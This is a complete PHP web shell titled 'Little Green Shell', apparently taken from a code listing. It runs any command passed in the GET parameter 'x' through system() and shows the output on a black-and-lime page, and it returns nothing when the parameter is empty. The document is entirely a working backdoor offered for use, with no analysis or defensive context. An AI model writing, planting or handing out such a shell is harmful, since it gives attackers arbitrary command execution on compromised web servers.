green

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$x = $_GET['x'];
if (!isset($x) or $x === "") die();
?>
<html>
<body bgcolor=black text=lime>
<h3 style="text-shadow: red 5px 5px 5px; font-family: Verdana, Arial, Helvetica, MS Sans Serif, sans-serif">Little Green Shell</h3>
<form action="greenshell.php" method="GET">
Command:<br>
<input type="text" name="x" value="<?php echo htmlspecialchars($x);?>" />
<br>
<input type="submit" value="Submit">
</form>
<hr/>
<pre>
<textarea readonly rows="30" cols="100" style="background-color: black; color:lime;">
<?php print(system($x)); ?>
</textarea>
</pre>
</body>
</html>